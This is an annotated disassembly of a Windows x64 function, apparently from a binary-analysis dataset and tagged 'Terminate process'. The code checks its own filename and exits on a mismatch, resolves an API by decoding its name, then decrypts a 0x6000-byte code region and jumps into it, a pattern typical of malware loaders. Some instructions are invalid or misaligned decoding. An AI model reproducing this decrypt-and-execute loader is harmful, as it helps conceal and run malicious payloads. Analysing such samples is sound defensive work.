Function at 0x14006d140
Capabilities:
Terminate process

Disassembly:
push rdi
mov eax, edx
mov rdi, rcx
mov rcx, r8
rep stosb byte [rdi], al
mov rax, r9
pop rdi
ret
mov rax, rcx
mov r9, rcx
lea r10, [0x140000000]
movzx edx, dl
movabs r11, 0x101010101010101
imul r11, rdx
movq xmm0, r11
cmp r8, 0xf
ja case.default.0x14006cdde
nop dword [rax]
add rcx, r8
mov r9d, dword [r10 + r8*4 + 0x7ecd0]
add r9, r10
jmp r9
mov qword [rcx - 0xf], r11
mov dword [rcx - 7], r11d
mov word [rcx - 3], r11w
mov byte [rcx - 1], r11b
ret
mov qword [rcx - 0xe], r11
mov dword [rcx - 6], r11d
mov word [rcx - 2], r11w
ret
mov qword [rcx - 0xd], r11
mov dword [rcx - 5], r11d
mov byte [rcx - 1], r11b
ret
mov qword [rcx - 0xc], r11
mov dword [rcx - 4], r11d
ret
mov qword [rcx - 0xb], r11
mov word [rcx - 3], r11w
mov byte [rcx - 1], r11b
ret
mov qword [rcx - 9], r11
mov byte [rcx - 1], r11b
ret
mov qword [rcx - 0xa], r11
mov word [rcx - 2], r11w
ret
mov qword [rcx - 8], r11
ret
punpcklqdq xmm0, xmm0
cmp r8, 0x20
ja 0x14006ce66
movdqu xmmword [rcx], xmm0
movdqu xmmword [rcx + r8 - 0x10], xmm0
ret
cmp dword [0x14008b090], 3
jb 0x14006d050
cmp r8, qword [0x14008b098]
jbe 0x14006ce92
cmp r8, qword [0x14008b0a0]
ja 0x14006ce92
test byte [0x14008e1b0], 2
jne 0x14006cd90
vinsertf128 ymm0, ymm0, xmm0, 1
mov r9, rcx
and r9, 0x1f
sub r9, 0x20
sub rcx, r9
sub rdx, r9
add r8, r9
cmp r8, 0x100
jbe 0x14006cf1a
cmp r8, qword [0x14008b0a0]
ja 0x14006cf90
nop word [rax + rax]
vmovdqa ymmword [rcx], ymm0
vmovdqa ymmword [rcx + 0x20], ymm0
vmovdqa ymmword [rcx + 0x40], ymm0
vmovdqa ymmword [rcx + 0x60], ymm0
vmovdqa ymmword [rcx + 0x80], ymm0
vmovdqa ymmword [rcx + 0xa0], ymm0
vmovdqa ymmword [rcx + 0xc0], ymm0
vmovdqa ymmword [rcx + 0xe0], ymm0
add rcx, 0x100
sub r8, 0x100
cmp r8, 0x100
jae 0x14006ced0
lea r9, [r8 + 0x1f]
and r9, 0xffffffffffffffe0
mov r11, r9
shr r11, 5
mov r11d, dword [r10 + r11*4 + 0x7ed10]
add r11, r10
jmp r11
vmovdqu ymmword [rcx + r9 - 0x100], ymm0
vmovdqu ymmword [rcx + r9 - 0xe0], ymm0
vmovdqu ymmword [rcx + r9 - 0xc0], ymm0
vmovdqu ymmword [rcx + r9 - 0xa0], ymm0
vmovdqu ymmword [rcx + r9 - 0x80], ymm0
vmovdqu ymmword [rcx + r9 - 0x60], ymm0
vmovdqu ymmword [rcx + r9 - 0x40], ymm0
vmovdqu ymmword [rcx + r8 - 0x20], ymm0
vmovdqu ymmword [rax], ymm0
vzeroupper
ret
add byte [rax], al
add bh, al
and al, 4
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 8]
movsxd rcx, dword [rsp]
movzx eax, word [rax + rcx*2]
cmp eax, 0x5c
jne 0x14006cfb4
mov eax, dword [rsp]
mov dword [rsp + 4], eax
mov rax, qword [rsp + 8]
movsxd rcx, dword [rsp]
movzx eax, word [rax + rcx*2]
cmp eax, 0
jne 0x14006cfc8
jmp 0x14006cfd3
mov eax, dword [rsp]
add eax, 1
mov dword [rsp], eax
jmp 0x14006cf9b
mov rax, qword [rsp + 8]
mov ecx, dword [rsp + 4]
add ecx, 1
movsxd rcx, ecx
shl rcx, 1
add rax, rcx
add rsp, 0x10
ret
mov qword [rsp + 8], rcx
mov dword [rsp + 4], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and al, 8
mov rax, qword [rsp + 8]
mov ecx, dword [rsp + 4]
and al, 4
movzx eax, word [rax + rcx*2]
cmp eax, 0
je 0x14006d023
invalid
or eax, 0x424448b
mov eax, dword [rsp + 4]
add eax, 1
mov dword [rsp + 4], eax
and al, 4
and al, 4
jmp 0x14006d004
mov eax, dword [rsp + 4]
add rsp, 0x10
add al, 0x48
add esp, 0x10
ret
int3
sub esp, 0x10
mov qword [rsp + 8], rcx
mov dword [rsp + 4], 0
or bh, al
and al, 4
add byte [rax], al
add byte [rax], al
mov dword [rsp], 0
mov rax, qword [rsp + 8]
mov ecx, dword [rsp]
movzx eax, word [rax + rcx*2]
cmp eax, 0
je 0x14006d07b
mov rax, qword [rsp + 8]
mov ecx, dword [rsp]
movzx eax, word [rax + rcx*2]
add eax, dword [rsp + 4]
mov dword [rsp + 4], eax
mov eax, dword [rsp]
add eax, 1
mov dword [rsp], eax
jmp 0x14006d04b
mov eax, dword [rsp + 4]
add rsp, 0x10
ret
leave
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
call fcn.14006cf83
mov qword [rsp + 0x48], rax
invalid
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x3c]
cmp al, 0x48
mov dword [rsp + 0x38], eax
cmp al, 0x48
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0
invalid
je 0x14006d199
add byte [rdx + rdi*2 + 0x48], dh
mov ecx, dword [rsp + 0x48]
invalid
mov rcx, qword [rsp + 0x48]
call fcn.14006cff3
call fcn.14006cff3
mov byte [rsp + 0x27], al
movzx eax, byte [rsp + 0x27]
mov rcx, qword [rsp + 0x38]
movzx ecx, byte [rcx]
cmp eax, ecx
je 0x14006d158
movzx eax, byte [rsp + 0x27]
mov rcx, qword [rsp + 0x38]
movzx ecx, byte [rcx + 1]
cmp eax, ecx
je 0x14006d158
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x48]
call fcn.14006d033
mov dword [rsp + 0x54], eax
mov rax, qword [rsp + 0x38]
add rax, 4
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x38]
cmp eax, dword [rcx]
je 0x14006d197
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x38]
cmp eax, dword [rcx + 4]
je 0x14006d197
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x14006d199
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x40], 0
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x38]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x20], 0
cmp dword [rsp + 0x20], 0x20
jge 0x14006d240
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x64]
movsxd rcx, dword [rsp + 0x20]
mov eax, dword [rax + rcx]
add al, 8
add eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x68]
movsxd rdx, dword [rsp + 0x20]
mov dword [rcx + rdx], eax
mov eax, dword [rsp + 0x20]
add eax, 4
mov dword [rsp + 0x20], eax
jmp 0x14006d20a
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14006d265
jmp 0x14006d370
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x24]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x58]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x40]
mov edx, 0x6000
call rax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x18]
mov ecx, ecx
add rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 4]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x20], 8
cmp dword [rsp + 0x20], 0x6000
jge 0x14006d2f6
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rsp + 0x20]
mov eax, dword [rax + rcx]
add eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x30]
movsxd rdx, dword [rsp + 0x20]
mov dword [rcx + rdx], eax
mov eax, dword [rsp + 0x20]
add eax, 4
mov dword [rsp + 0x20], eax
jmp 0x14006d2c1
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x30]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x40]
mov edx, 0x6000
call rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rcx + 0x2c]
mov ecx, ecx
add rax, rcx
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 0xc]
add rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x2c]
mov rcx, qword [rsp + 0x30]
mov eax, eax
add rcx, rax
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x30]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]